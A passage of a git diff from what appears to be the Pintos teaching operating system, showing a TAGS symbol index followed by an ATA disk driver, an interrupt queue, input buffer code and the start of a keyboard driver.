+last_mask 66,1686
+bitmap_create 79,2046
+bitmap_create_in_buf 100,2568
+bitmap_buf_size 115,2967
+bitmap_destroy 124,3181
+bitmap_size 137,3356
+bitmap_set 146,3523
+bitmap_mark 158,3773
+bitmap_reset 171,4222
+bitmap_flip 186,4747
+bitmap_test 199,5190
+bitmap_set_all 210,5437
+bitmap_set_multiple 219,5628
+bitmap_count 234,5998
+bitmap_contains 252,6451
+bitmap_any 269,6875
+bitmap_none 277,7113
+bitmap_all 285,7355
+bitmap_scan 297,7709
+bitmap_scan_and_flip 321,8426
+bitmap_file_size 334,8765
+bitmap_read 342,8924
+bitmap_write 357,9297
+bitmap_dump 368,9560
+
+lib/kernel/bitmap.h,65
+#define __LIB_KERNEL_BITMAP_H2,30
+#define BITMAP_ERROR 36,1307
+
+lib/kernel/console.c,440
+static struct lock console_lock;18,525
+static bool use_console_lock;31,1105
+static int console_lock_depth;57,1940
+static int64_t write_cnt;60,2019
+console_init 64,2081
+console_panic 74,2303
+console_print_stats 81,2396
+acquire_console 88,2533
+release_console 101,2801
+console_locked_by_current_thread 115,3096
+vprintf 126,3405
+puts 140,3673
+putbuf 153,3897
+putchar 163,4093
+vprintf_helper 174,4249
+putchar_have_lock 185,4501
+
+lib/kernel/console.h,36
+#define __LIB_KERNEL_CONSOLE_H2,31
+
+lib/kernel/debug.c,20
+debug_panic 15,347
+
+lib/kernel/hash.c,708
+#define list_elem_to_hash_elem(12,215
+hash_init 25,844
+hash_clear 54,1670
+hash_destroy 87,2636
+hash_insert 99,3000
+hash_replace 115,3371
+hash_find 132,3782
+hash_delete 145,4204
+hash_apply 163,4743
+hash_first 200,5648
+hash_next 219,6236
+hash_cur 241,6865
+hash_size 248,6974
+hash_empty 255,7097
+#define FNV_32_PRIME 261,7218
+#define FNV_32_BASIS 262,7249
+hash_bytes 266,7339
+hash_string 283,7659
+hash_int 299,7935
+find_bucket 306,8065
+find_elem 315,8357
+turn_off_least_1bit 330,8784
+is_power_of_2 337,8922
+#define MIN_ELEMS_PER_BUCKET 343,9035
+#define BEST_ELEMS_PER_BUCKET 344,9112
+#define MAX_ELEMS_PER_BUCKET 345,9170
+rehash 352,9481
+insert_elem 417,11430
+remove_elem 425,11614
+
+lib/kernel/hash.h,617
+#define __LIB_KERNEL_HASH_H2,28
+struct hash_elem 29,971
+ struct list_elem list_elem;31,993
+#define hash_entry(39,1314
+typedef unsigned hash_hash_func 45,1599
+typedef bool hash_less_func 50,1839
+typedef void hash_action_func 56,2071
+struct hash 59,2154
+ size_t elem_cnt;61,2171
+ size_t bucket_cnt;62,2238
+ struct list *buckets;buckets63,2309
+ hash_hash_func *hash;hash64,2376
+ hash_less_func *less;less65,2429
+ void *aux;aux66,2488
+struct hash_iterator 70,2599
+ struct hash *hash;hash72,2625
+ struct list *bucket;bucket73,2679
+ struct hash_elem *elem;elem74,2733
+
+lib/kernel/list.c,719
+static bool is_sorted 34,1344
+is_interior 47,1743
+is_tail 54,1926
+list_init 61,2077
+list_begin 72,2312
+list_next 82,2593
+list_end 94,2890
+list_rbegin 103,3102
+list_prev 113,3387
+list_rend 133,3929
+list_head 151,4267
+list_tail 159,4397
+list_insert 169,4633
+list_splice 184,5062
+list_push_front 209,5714
+list_push_back 217,5904
+list_remove 257,7081
+list_pop_front 268,7373
+list_pop_back 278,7630
+list_front 288,7851
+list_back 297,8043
+list_size 306,8231
+list_empty 318,8463
+swap 325,8619
+list_reverse 334,8763
+is_sorted 350,9223
+find_end_of_run 366,9736
+inplace_merge 388,10362
+list_sort 413,11088
+list_insert_ordered 454,12480
+list_unique 474,13096
+list_max 501,13875
+list_min 520,14460
+
+lib/kernel/list.h,300
+#define __LIB_KERNEL_LIST_H2,28
+struct list_elem 90,3087
+ struct list_elem *prev;prev92,3109
+ struct list_elem *next;next93,3170
+struct list 97,3245
+ struct list_elem head;99,3262
+ struct list_elem tail;100,3311
+#define list_entry(108,3649
+typedef bool list_less_func 152,5162
+
+lib/kernel/stdio.h,34
+#define __LIB_KERNEL_STDIO_H2,29
+
+lib/kernel/slist.c,410
+ struct Node7,142
+ ListElement Element;9,172
+ Position Next;10,205
+ MakeEmpty(16,286
+ IsEmpty(32,647
+ int IsLast(40,854
+ Find(48,1036
+ Delete(65,1436
+ FindPrevious(83,1974
+ Insert(99,2363
+ DeleteList(117,2784
+ Header(132,3099
+ First(138,3185
+ Advance(144,3276
+ Retrieve(150,3375
+
+lib/kernel/slist.h,210
+ typedef void * ListElement;2,40
+ #define _SList_H5,102
+ typedef struct Node *PtrToNode;PtrToNode8,149
+ typedef PtrToNode SList;9,189
+ typedef PtrToNode Position;10,222
+
+lib/user/console.c,235
+vprintf 9,174
+hprintf 16,336
+puts 31,604
+putchar 41,737
+struct vhprintf_aux 49,864
+ char buf[buf51,889
+ char *p;p52,937
+ int char_cnt;53,995
+ int handle;54,1058
+vhprintf 64,1332
+add_char 78,1652
+flush 89,1865
+
+lib/user/debug.c,20
+debug_panic 10,233
+
+lib/user/entry.c,13
+_start 7,92
+
+lib/user/stdio.h,50
+#define __LIB_USER_STDIO_H2,27
+int hprintf 4,55
+
+lib/user/syscall.c,432
+#define syscall0(6,146
+#define syscall1(19,850
+#define syscall2(33,1720
+#define syscall3(49,2639
+halt 65,3514
+exit 72,3578
+exec 79,3656
+wait 85,3733
+create 91,3795
+remove 97,3906
+open 103,3979
+filesize 109,4048
+read 115,4114
+write 121,4214
+seek 127,4323
+tell 133,4408
+close 139,4467
+mmap 145,4523
+munmap 151,4599
+chdir 157,4664
+mkdir 163,4734
+readdir 169,4804
+isdir 175,4907
+inumber 181,4967
+plist 188,5103
+
+lib/user/syscall.h,247
+#define __LIB_USER_SYSCALL_H2,29
+typedef int pid_t;8,126
+#define PID_ERROR 9,145
+typedef int mapid_t;12,206
+#define MAP_FAILED 13,227
+#define READDIR_MAX_LEN 16,323
+#define EXIT_SUCCESS 19,416
+#define EXIT_FAILURE 20,476
+void halt 23,587
+
+threads/kernel.lds.S,0
diff --git a/src/devices/disk.c b/src/devices/disk.c
new file mode 100644
index 0000000..14fc631
--- /dev/null
+++ b/src/devices/disk.c
@@ -0,0 +1,571 @@
+#include "devices/disk.h"
+#include <ctype.h>
+#include <debug.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include "devices/timer.h"
+#include "threads/io.h"
+#include "threads/interrupt.h"
+#include "threads/synch.h"
+
+/* The code in this file is an interface to an ATA (IDE)
+ controller. It attempts to comply to [ATA-3]. */
+
+/* ATA command block port addresses. */
+#define reg_data(CHANNEL) ((CHANNEL)->reg_base + 0) /* Data. */
+#define reg_error(CHANNEL) ((CHANNEL)->reg_base + 1) /* Error. */
+#define reg_nsect(CHANNEL) ((CHANNEL)->reg_base + 2) /* Sector Count. */
+#define reg_lbal(CHANNEL) ((CHANNEL)->reg_base + 3) /* LBA 0:7. */
+#define reg_lbam(CHANNEL) ((CHANNEL)->reg_base + 4) /* LBA 15:8. */
+#define reg_lbah(CHANNEL) ((CHANNEL)->reg_base + 5) /* LBA 23:16. */
+#define reg_device(CHANNEL) ((CHANNEL)->reg_base + 6) /* Device/LBA 27:24. */
+#define reg_status(CHANNEL) ((CHANNEL)->reg_base + 7) /* Status (r/o). */
+#define reg_command(CHANNEL) reg_status (CHANNEL) /* Command (w/o). */
+
+/* ATA control block port addresses.
+ (If we supported non-legacy ATA controllers this would not be
+ flexible enough, but it's fine for what we do.) */
+#define reg_ctl(CHANNEL) ((CHANNEL)->reg_base + 0x206) /* Control (w/o). */
+#define reg_alt_status(CHANNEL) reg_ctl (CHANNEL) /* Alt Status (r/o). */
+
+/* Alternate Status Register bits. */
+#define STA_BSY 0x80 /* Busy. */
+#define STA_DRDY 0x40 /* Device Ready. */
+#define STA_DRQ 0x08 /* Data Request. */
+
+/* Control Register bits. */
+#define CTL_SRST 0x04 /* Software Reset. */
+
+/* Device Register bits. */
+#define DEV_MBS 0xa0 /* Must be set. */
+#define DEV_LBA 0x40 /* Linear based addressing. */
+#define DEV_DEV 0x10 /* Select device: 0=master, 1=slave. */
+
+/* Commands.
+ Many more are defined but this is the small subset that we
+ use. */
+#define CMD_IDENTIFY_DEVICE 0xec /* IDENTIFY DEVICE. */
+#define CMD_READ_SECTOR_RETRY 0x20 /* READ SECTOR with retries. */
+#define CMD_WRITE_SECTOR_RETRY 0x30 /* WRITE SECTOR with retries. */
+
+/* An ATA device. */
+struct disk
+ {
+ char name[8]; /* Name, e.g. "hd0:1". */
+ struct channel *channel; /* Channel disk is on. */
+ int dev_no; /* Device 0 or 1 for master or slave. */
+
+ bool is_ata; /* 1=This device is an ATA disk. */
+ disk_sector_t capacity; /* Capacity in sectors (if is_ata). */
+
+ long long read_cnt; /* Number of sectors read. */
+ long long write_cnt; /* Number of sectors written. */
+ };
+
+/* An ATA channel (aka controller).
+ Each channel can control up to two disks. */
+struct channel
+ {
+ char name[8]; /* Name, e.g. "hd0". */
+ uint16_t reg_base; /* Base I/O port. */
+ uint8_t irq; /* Interrupt in use. */
+
+ struct lock lock; /* Must acquire to access the controller. */
+ bool expecting_interrupt; /* True if an interrupt is expected, false if
+ any interrupt would be spurious. */
+ struct semaphore completion_wait; /* Up'd by interrupt handler. */
+
+ struct disk devices[2]; /* The devices on this channel. */
+ };
+
+/* We support the two "legacy" ATA channels found in a standard PC. */
+#define CHANNEL_CNT 2
+static struct channel channels[CHANNEL_CNT];
+
+static void reset_channel (struct channel *);
+static bool check_device_type (struct disk *);
+static void identify_ata_device (struct disk *);
+
+static void select_sector (struct disk *, disk_sector_t);
+static void issue_pio_command (struct channel *, uint8_t command);
+static void input_sector (struct channel *, void *);
+static void output_sector (struct channel *, const void *);
+
+static void wait_until_idle (const struct disk *);
+static bool wait_while_busy (const struct disk *);
+static void select_device (const struct disk *);
+static void select_device_wait (const struct disk *);
+
+static void interrupt_handler (struct intr_frame *);
+
+/* Initialize the disk subsystem and detect disks. */
+void
+disk_init (void)
+{
+ size_t chan_no;
+
+ for (chan_no = 0; chan_no < CHANNEL_CNT; chan_no++)
+ {
+ struct channel *c = &channels[chan_no];
+ int dev_no;
+
+ /* Initialize channel. */
+ snprintf (c->name, sizeof c->name, "hd%zu", chan_no);
+ switch (chan_no)
+ {
+ case 0:
+ c->reg_base = 0x1f0;
+ c->irq = 14 + 0x20;
+ break;
+ case 1:
+ c->reg_base = 0x170;
+ c->irq = 15 + 0x20;
+ break;
+ default:
+ NOT_REACHED ();
+ }
+ lock_init (&c->lock);
+ c->expecting_interrupt = false;
+ sema_init (&c->completion_wait, 0);
+
+ /* Initialize devices. */
+ for (dev_no = 0; dev_no < 2; dev_no++)
+ {
+ struct disk *d = &c->devices[dev_no];
+ snprintf (d->name, sizeof d->name, "%s:%d", c->name, dev_no);
+ d->channel = c;
+ d->dev_no = dev_no;
+
+ d->is_ata = false;
+ d->capacity = 0;
+
+ d->read_cnt = d->write_cnt = 0;
+ }
+
+ /* Register interrupt handler. */
+ intr_register_ext (c->irq, interrupt_handler, c->name);
+
+ /* Reset hardware. */
+ reset_channel (c);
+
+ /* Distinguish ATA hard disks from other devices. */
+ if (check_device_type (&c->devices[0]))
+ check_device_type (&c->devices[1]);
+
+ /* Read hard disk identity information. */
+ for (dev_no = 0; dev_no < 2; dev_no++)
+ if (c->devices[dev_no].is_ata)
+ identify_ata_device (&c->devices[dev_no]);
+ }
+}
+
+/* Prints disk statistics. */
+void
+disk_print_stats (void)
+{
+ int chan_no;
+
+ for (chan_no = 0; chan_no < CHANNEL_CNT; chan_no++)
+ {
+ int dev_no;
+
+ for (dev_no = 0; dev_no < 2; dev_no++)
+ {
+ struct disk *d = disk_get (chan_no, dev_no);
+ if (d != NULL && d->is_ata)
+ printf ("%s: %lld reads, %lld writes\n",
+ d->name, d->read_cnt, d->write_cnt);
+ }
+ }
+}
+
+/* Returns the disk numbered DEV_NO--either 0 or 1 for master or
+ slave, respectively--within the channel numbered CHAN_NO.
+
+ Pintos uses disks this way:
+ 0:0 - boot loader, command line args, and operating system kernel
+ 0:1 - file system
+ 1:0 - scratch
+ 1:1 - swap
+*/
+struct disk *
+disk_get (int chan_no, int dev_no)
+{
+ ASSERT (dev_no == 0 || dev_no == 1);
+
+ if (chan_no < (int) CHANNEL_CNT)
+ {
+ struct disk *d = &channels[chan_no].devices[dev_no];
+ if (d->is_ata)
+ return d;
+ }
+ return NULL;
+}
+
+/* Returns the size of disk D, measured in DISK_SECTOR_SIZE-byte
+ sectors. */
+disk_sector_t
+disk_size (struct disk *d)
+{
+ ASSERT (d != NULL);
+
+ return d->capacity;
+}
+
+/* Reads sector SEC_NO from disk D into BUFFER, which must have
+ room for DISK_SECTOR_SIZE bytes.
+ Internally synchronizes accesses to disks, so external
+ per-disk locking is unneeded. */
+void
+disk_read (struct disk *d, disk_sector_t sec_no, void *buffer)
+{
+ struct channel *c;
+
+ ASSERT (d != NULL);
+ ASSERT (buffer != NULL);
+
+ c = d->channel;
+ lock_acquire (&c->lock);
+ select_sector (d, sec_no);
+ issue_pio_command (c, CMD_READ_SECTOR_RETRY);
+ sema_down (&c->completion_wait);
+ if (!wait_while_busy (d))
+ PANIC ("%s: disk read failed, sector=%"PRDSNu, d->name, sec_no);
+ input_sector (c, buffer);
+ d->read_cnt++;
+ lock_release (&c->lock);
+}
+
+/* Write sector SEC_NO to disk D from BUFFER, which must contain
+ DISK_SECTOR_SIZE bytes. Returns after the disk has
+ acknowledged receiving the data.
+ Internally synchronizes accesses to disks, so external
+ per-disk locking is unneeded. */
+void
+disk_write (struct disk *d, disk_sector_t sec_no, const void *buffer)
+{
+ struct channel *c;
+
+ ASSERT (d != NULL);
+ ASSERT (buffer != NULL);
+
+ c = d->channel;
+ lock_acquire (&c->lock);
+ select_sector (d, sec_no);
+ issue_pio_command (c, CMD_WRITE_SECTOR_RETRY);
+ if (!wait_while_busy (d))
+ PANIC ("%s: disk write failed, sector=%"PRDSNu, d->name, sec_no);
+ output_sector (c, buffer);
+ sema_down (&c->completion_wait);
+ d->write_cnt++;
+ lock_release (&c->lock);
+}
+
+/* Disk detection and identification. */
+
+static void print_ata_string (char *string, size_t size);
+
+/* Resets an ATA channel and waits for any devices present on it
+ to finish the reset. */
+static void
+reset_channel (struct channel *c)
+{
+ bool present[2];
+ int dev_no;
+
+ /* The ATA reset sequence depends on which devices are present,
+ so we start by detecting device presence. */
+ for (dev_no = 0; dev_no < 2; dev_no++)
+ {
+ struct disk *d = &c->devices[dev_no];
+
+ select_device (d);
+
+ outb (reg_nsect (c), 0x55);
+ outb (reg_lbal (c), 0xaa);
+
+ outb (reg_nsect (c), 0xaa);
+ outb (reg_lbal (c), 0x55);
+
+ outb (reg_nsect (c), 0x55);
+ outb (reg_lbal (c), 0xaa);
+
+ present[dev_no] = (inb (reg_nsect (c)) == 0x55
+ && inb (reg_lbal (c)) == 0xaa);
+ }
+
+ /* Issue soft reset sequence, which selects device 0 as a side effect.
+ Also enable interrupts. */
+ outb (reg_ctl (c), 0);
+ timer_usleep (10);
+ outb (reg_ctl (c), CTL_SRST);
+ timer_usleep (10);
+ outb (reg_ctl (c), 0);
+
+ timer_msleep (150);
+
+ /* Wait for device 0 to clear BSY. */
+ if (present[0])
+ {
+ select_device (&c->devices[0]);
+ wait_while_busy (&c->devices[0]);
+ }
+
+ /* Wait for device 1 to clear BSY. */
+ if (present[1])
+ {
+ int i;
+
+ select_device (&c->devices[1]);
+ for (i = 0; i < 3000; i++)
+ {
+ if (inb (reg_nsect (c)) == 1 && inb (reg_lbal (c)) == 1)
+ break;
+ timer_msleep (10);
+ }
+ wait_while_busy (&c->devices[1]);
+ }
+}
+
+/* Checks whether device D is an ATA disk and sets D's is_ata
+ member appropriately. If D is device 0 (master), returns true
+ if it's possible that a slave (device 1) exists on this
+ channel. If D is device 1 (slave), the return value is not
+ meaningful. */
+static bool
+check_device_type (struct disk *d)
+{
+ struct channel *c = d->channel;
+ uint8_t error, lbam, lbah, status;
+
+ select_device (d);
+
+ error = inb (reg_error (c));
+ lbam = inb (reg_lbam (c));
+ lbah = inb (reg_lbah (c));
+ status = inb (reg_status (c));
+
+ if ((error != 1 && (error != 0x81 || d->dev_no == 1))
+ || (status & STA_DRDY) == 0
+ || (status & STA_BSY) != 0)
+ {
+ d->is_ata = false;
+ return error != 0x81;
+ }
+ else
+ {
+ d->is_ata = (lbam == 0 && lbah == 0) || (lbam == 0x3c && lbah == 0xc3);
+ return true;
+ }
+}
+
+/* Sends an IDENTIFY DEVICE command to disk D and reads the
+ response. Initializes D's capacity member based on the result
+ and prints a message describing the disk to the console. */
+static void
+identify_ata_device (struct disk *d)
+{
+ struct channel *c = d->channel;
+ uint16_t id[DISK_SECTOR_SIZE / 2];
+
+ ASSERT (d->is_ata);
+
+ /* Send the IDENTIFY DEVICE command, wait for an interrupt
+ indicating the device's response is ready, and read the data
+ into our buffer. */
+ select_device_wait (d);
+ issue_pio_command (c, CMD_IDENTIFY_DEVICE);
+ sema_down (&c->completion_wait);
+ if (!wait_while_busy (d))
+ {
+ d->is_ata = false;
+ return;
+ }
+ input_sector (c, id);
+
+ /* Calculate capacity. */
+ d->capacity = id[60] | ((uint32_t) id[61] << 16);
+
+ /* Print identification message. */
+ printf ("%s: detected %'"PRDSNu" sector (", d->name, d->capacity);
+ if (d->capacity > 1024 / DISK_SECTOR_SIZE * 1024 * 1024)
+ printf ("%"PRDSNu" GB",
+ d->capacity / (1024 / DISK_SECTOR_SIZE * 1024 * 1024));
+ else if (d->capacity > 1024 / DISK_SECTOR_SIZE * 1024)
+ printf ("%"PRDSNu" MB", d->capacity / (1024 / DISK_SECTOR_SIZE * 1024));
+ else if (d->capacity > 1024 / DISK_SECTOR_SIZE)
+ printf ("%"PRDSNu" kB", d->capacity / (1024 / DISK_SECTOR_SIZE));
+ else
+ printf ("%"PRDSNu" byte", d->capacity * DISK_SECTOR_SIZE);
+ printf (") disk, model \"");
+ print_ata_string ((char *) &id[27], 40);
+ printf ("\", serial \"");
+ print_ata_string ((char *) &id[10], 20);
+ printf ("\"\n");
+}
+
+/* Prints STRING, which consists of SIZE bytes in a funky format:
+ each pair of bytes is in reverse order. Does not print
+ trailing whitespace and/or nulls. */
+static void
+print_ata_string (char *string, size_t size)
+{
+ size_t i;
+
+ /* Find the last non-white, non-null character. */
+ for (; size > 0; size--)
+ {
+ int c = string[(size - 1) ^ 1];
+ if (c != '\0' && !isspace (c))
+ break;
+ }
+
+ /* Print. */
+ for (i = 0; i < size; i++)
+ printf ("%c", string[i ^ 1]);
+}
+
+/* Selects device D, waiting for it to become ready, and then
+ writes SEC_NO to the disk's sector selection registers. (We
+ use LBA mode.) */
+static void
+select_sector (struct disk *d, disk_sector_t sec_no)
+{
+ struct channel *c = d->channel;
+
+ ASSERT (sec_no < d->capacity);
+ ASSERT (sec_no < (1UL << 28));
+
+ select_device_wait (d);
+ outb (reg_nsect (c), 1);
+ outb (reg_lbal (c), sec_no);
+ outb (reg_lbam (c), sec_no >> 8);
+ outb (reg_lbah (c), (sec_no >> 16));
+ outb (reg_device (c),
+ DEV_MBS | DEV_LBA | (d->dev_no == 1 ? DEV_DEV : 0) | (sec_no >> 24));
+}
+
+/* Writes COMMAND to channel C and prepares for receiving a
+ completion interrupt. */
+static void
+issue_pio_command (struct channel *c, uint8_t command)
+{
+ /* Interrupts must be enabled or our semaphore will never be
+ up'd by the completion handler. */
+ ASSERT (intr_get_level () == INTR_ON);
+
+ c->expecting_interrupt = true;
+ outb (reg_command (c), command);
+}
+
+/* Reads a sector from channel C's data register in PIO mode into
+ SECTOR, which must have room for DISK_SECTOR_SIZE bytes. */
+static void
+input_sector (struct channel *c, void *sector)
+{
+ insw (reg_data (c), sector, DISK_SECTOR_SIZE / 2);
+}
+
+/* Writes SECTOR to channel C's data register in PIO mode.
+ SECTOR must contain DISK_SECTOR_SIZE bytes. */
+static void
+output_sector (struct channel *c, const void *sector)
+{
+ outsw (reg_data (c), sector, DISK_SECTOR_SIZE / 2);
+}
+
+/* Low-level ATA primitives. */
+
+/* Wait up to 10 seconds for the controller to become idle, that
+ is, for the BSY and DRQ bits to clear in the status register.
+
+ As a side effect, reading the status register clears any
+ pending interrupt. */
+static void
+wait_until_idle (const struct disk *d)
+{
+ int i;
+
+ for (i = 0; i < 1000; i++)
+ {
+ if ((inb (reg_status (d->channel)) & (STA_BSY | STA_DRQ)) == 0)
+ return;
+ timer_usleep (10);
+ }
+
+ printf ("%s: idle timeout\n", d->name);
+}
+
+/* Wait up to 30 seconds for disk D to clear BSY,
+ and then return the status of the DRQ bit.
+ The ATA standards say that a disk may take as long as that to
+ complete its reset. */
+static bool
+wait_while_busy (const struct disk *d)
+{
+ struct channel *c = d->channel;
+ int i;
+
+ for (i = 0; i < 3000; i++)
+ {
+ if (i == 700)
+ printf ("%s: busy, waiting...", d->name);
+ if (!(inb (reg_alt_status (c)) & STA_BSY))
+ {
+ if (i >= 700)
+ printf ("ok\n");
+ return (inb (reg_alt_status (c)) & STA_DRQ) != 0;
+ }
+ timer_msleep (10);
+ }
+
+ printf ("failed\n");
+ return false;
+}
+
+/* Program D's channel so that D is now the selected disk. */
+static void
+select_device (const struct disk *d)
+{
+ struct channel *c = d->channel;
+ uint8_t dev = DEV_MBS;
+ if (d->dev_no == 1)
+ dev |= DEV_DEV;
+ outb (reg_device (c), dev);
+ inb (reg_alt_status (c));
+ timer_nsleep (400);
+}
+
+/* Select disk D in its channel, as select_device(), but wait for
+ the channel to become idle before and after. */
+static void
+select_device_wait (const struct disk *d)
+{
+ wait_until_idle (d);
+ select_device (d);
+ wait_until_idle (d);
+}
+
+/* ATA interrupt handler. */
+static void
+interrupt_handler (struct intr_frame *f)
+{
+ struct channel *c;
+
+ for (c = channels; c < channels + CHANNEL_CNT; c++)
+ if (f->vec_no == c->irq)
+ {
+ if (c->expecting_interrupt)
+ {
+ inb (reg_status (c)); /* Acknowledge interrupt. */
+ sema_up (&c->completion_wait); /* Wake up waiter. */
+ }
+ else
+ printf ("%s: unexpected interrupt\n", c->name);
+ return;
+ }
+
+ NOT_REACHED ();
+}
+
+
diff --git a/src/devices/disk.h b/src/devices/disk.h
new file mode 100644
index 0000000..3bcbb9a
--- /dev/null
+++ b/src/devices/disk.h
@@ -0,0 +1,26 @@
+#ifndef DEVICES_DISK_H
+#define DEVICES_DISK_H
+
+#include <inttypes.h>
+#include <stdint.h>
+
+/* Size of a disk sector in bytes. */
+#define DISK_SECTOR_SIZE 512
+
+/* Index of a disk sector within a disk.
+ Good enough for disks up to 2 TB. */
+typedef uint32_t disk_sector_t;
+
+/* Format specifier for printf(), e.g.:
+ printf ("sector=%"PRDSNu"\n", sector); */
+#define PRDSNu PRIu32
+
+void disk_init (void);
+void disk_print_stats (void);
+
+struct disk *disk_get (int chan_no, int dev_no);
+disk_sector_t disk_size (struct disk *);
+void disk_read (struct disk *, disk_sector_t, void *);
+void disk_write (struct disk *, disk_sector_t, const void *);
+
+#endif /* devices/disk.h */
diff --git a/src/devices/input.c b/src/devices/input.c
new file mode 100644
index 0000000..4a12160
--- /dev/null
+++ b/src/devices/input.c
@@ -0,0 +1,52 @@
+#include "devices/input.h"
+#include <debug.h>
+#include "devices/intq.h"
+#include "devices/serial.h"
+
+/* Stores keys from the keyboard and serial port. */
+static struct intq buffer;
+
+/* Initializes the input buffer. */
+void
+input_init (void)
+{
+ intq_init (&buffer);
+}
+
+/* Adds a key to the input buffer.
+ Interrupts must be off and the buffer must not be full. */
+void
+input_putc (uint8_t key)
+{
+ ASSERT (intr_get_level () == INTR_OFF);
+ ASSERT (!intq_full (&buffer));
+
+ intq_putc (&buffer, key);
+ serial_notify ();
+}
+
+/* Retrieves a key from the input buffer.
+ If the buffer is empty, waits for a key to be pressed. */
+uint8_t
+input_getc (void)
+{
+ enum intr_level old_level;
+ uint8_t key;
+
+ old_level = intr_disable ();
+ key = intq_getc (&buffer);
+ serial_notify ();
+ intr_set_level (old_level);
+
+ return key;
+}
+
+/* Returns true if the input buffer is full,
+ false otherwise.
+ Interrupts must be off. */
+bool
+input_full (void)
+{
+ ASSERT (intr_get_level () == INTR_OFF);
+ return intq_full (&buffer);
+}
diff --git a/src/devices/input.h b/src/devices/input.h
new file mode 100644
index 0000000..a2f50e9
--- /dev/null
+++ b/src/devices/input.h
@@ -0,0 +1,12 @@
+#ifndef DEVICES_INPUT_H
+#define DEVICES_INPUT_H
+
+#include <stdbool.h>
+#include <stdint.h>
+
+void input_init (void);
+void input_putc (uint8_t);
+uint8_t input_getc (void);
+bool input_full (void);
+
+#endif /* devices/input.h */
diff --git a/src/devices/intq.c b/src/devices/intq.c
new file mode 100644
index 0000000..028dca4
--- /dev/null
+++ b/src/devices/intq.c
@@ -0,0 +1,116 @@
+#include "devices/intq.h"
+#include <debug.h>
+#include "threads/thread.h"
+
+static int next (int pos);
+static void wait (struct intq *q, struct thread **waiter);
+static void signal (struct intq *q, struct thread **waiter);
+
+/* Initializes interrupt queue Q. */
+void
+intq_init (struct intq *q)
+{
+ lock_init (&q->lock);
+ q->not_full = q->not_empty = NULL;
+ q->head = q->tail = 0;
+}
+
+/* Returns true if Q is empty, false otherwise. */
+bool
+intq_empty (const struct intq *q)
+{
+ ASSERT (intr_get_level () == INTR_OFF);
+ return q->head == q->tail;
+}
+
+/* Returns true if Q is full, false otherwise. */
+bool
+intq_full (const struct intq *q)
+{
+ ASSERT (intr_get_level () == INTR_OFF);
+ return next (q->head) == q->tail;
+}
+
+/* Removes a byte from Q and returns it.
+ Q must not be empty if called from an interrupt handler.
+ Otherwise, if Q is empty, first sleeps until a byte is
+ added. */
+uint8_t
+intq_getc (struct intq *q)
+{
+ uint8_t byte;
+
+ ASSERT (intr_get_level () == INTR_OFF);
+ while (intq_empty (q))
+ {
+ ASSERT (!intr_context ());
+ lock_acquire (&q->lock);
+ wait (q, &q->not_empty);
+ lock_release (&q->lock);
+ }
+
+ byte = q->buf[q->tail];
+ q->tail = next (q->tail);
+ signal (q, &q->not_full);
+ return byte;
+}
+
+/* Adds BYTE to the end of Q.
+ Q must not be full if called from an interrupt handler.
+ Otherwise, if Q is full, first sleeps until a byte is
+ removed. */
+void
+intq_putc (struct intq *q, uint8_t byte)
+{
+ ASSERT (intr_get_level () == INTR_OFF);
+ while (intq_full (q))
+ {
+ ASSERT (!intr_context ());
+ lock_acquire (&q->lock);
+ wait (q, &q->not_full);
+ lock_release (&q->lock);
+ }
+
+ q->buf[q->head] = byte;
+ q->head = next (q->head);
+ signal (q, &q->not_empty);
+}
+
+/* Returns the position after POS within an intq. */
+static int
+next (int pos)
+{
+ return (pos + 1) % INTQ_BUFSIZE;
+}
+
+/* WAITER must be the address of Q's not_empty or not_full
+ member. Waits until the given condition is true. */
+static void
+wait (struct intq *q UNUSED, struct thread **waiter)
+{
+ ASSERT (!intr_context ());
+ ASSERT (intr_get_level () == INTR_OFF);
+ ASSERT ((waiter == &q->not_empty && intq_empty (q))
+ || (waiter == &q->not_full && intq_full (q)));
+
+ *waiter = thread_current ();
+ thread_block ();
+}
+
+/* WAITER must be the address of Q's not_empty or not_full
+ member, and the associated condition must be true. If a
+ thread is waiting for the condition, wakes it up and resets
+ the waiting thread. */
+static void
+signal (struct intq *q UNUSED, struct thread **waiter)
+{
+ ASSERT (intr_get_level () == INTR_OFF);
+ ASSERT ((waiter == &q->not_empty && !intq_empty (q))
+ || (waiter == &q->not_full && !intq_full (q)));
+
+ if (*waiter != NULL)
+ {
+ thread_unblock (*waiter);
+ *waiter = NULL;
+ }
+}
diff --git a/src/devices/intq.h b/src/devices/intq.h
new file mode 100644
index 0000000..2312b12
--- /dev/null
+++ b/src/devices/intq.h
@@ -0,0 +1,43 @@
+#ifndef DEVICES_INTQ_H
+#define DEVICES_INTQ_H
+
+#include "threads/interrupt.h"
+#include "threads/synch.h"
+
+/* An "interrupt queue", a circular buffer shared between
+ kernel threads and external interrupt handlers.
+
+ Interrupt queue functions can be called from kernel threads or
+ from external interrupt handlers. Except for intq_init(),
+ interrupts must be off in either case.
+
+ The interrupt queue has the structure of a "monitor". Locks
+ and condition variables from threads/synch.h cannot be used in
+ this case, as they normally would, because they can only
+ protect kernel threads from one another, not from interrupt
+ handlers. */
+
+/* Queue buffer size, in bytes. */
+#define INTQ_BUFSIZE 64
+
+/* A circular queue of bytes. */
+struct intq
+ {
+ /* Waiting threads. */
+ struct lock lock; /* Only one thread may wait at once. */
+ struct thread *not_full; /* Thread waiting for not-full condition. */
+ struct thread *not_empty; /* Thread waiting for not-empty condition. */
+
+ /* Queue. */
+ uint8_t buf[INTQ_BUFSIZE]; /* Buffer. */
+ int head; /* New data is written here. */
+ int tail; /* Old data is read here. */
+ };
+
+void intq_init (struct intq *);
+bool intq_empty (const struct intq *);
+bool intq_full (const struct intq *);
+uint8_t intq_getc (struct intq *);
+void intq_putc (struct intq *, uint8_t);
+
+#endif /* devices/intq.h */
diff --git a/src/devices/kbd.c b/src/devices/kbd.c
new file mode 100644
index 0000000..4d7dfdf
--- /dev/null
+++ b/src/devices/kbd.c
@@ -0,0 +1,207 @@
+#include "devices/kbd.h"
+#include <ctype.h>
+#include <debug.h>
+#include <stdio.h>
+#include <string.h>
+#include "devices/input.h"
+#include "threads/interrupt.h"
+#include "threads/io.h"
+
+/* Keyboard data register port. */
+#define DATA_REG 0x60
+
+/* Current state of shift keys.
+ True if depressed, false otherwise. */
+static bool left_shift, right_shift; /* Left and right Shift keys. */
+static bool left_alt, right_alt; /* Left and right Alt keys. */
+static bool left_ctrl, right_ctrl; /* Left and right Ctl keys. */
+
+/* Status of Caps Lock.
+ True when on, false when off. */
+static bool caps_lock;
+
+/* Number of keys pressed. */
+static int64_t key_cnt;
+
+static intr_handler_func keyboard_interrupt;
+
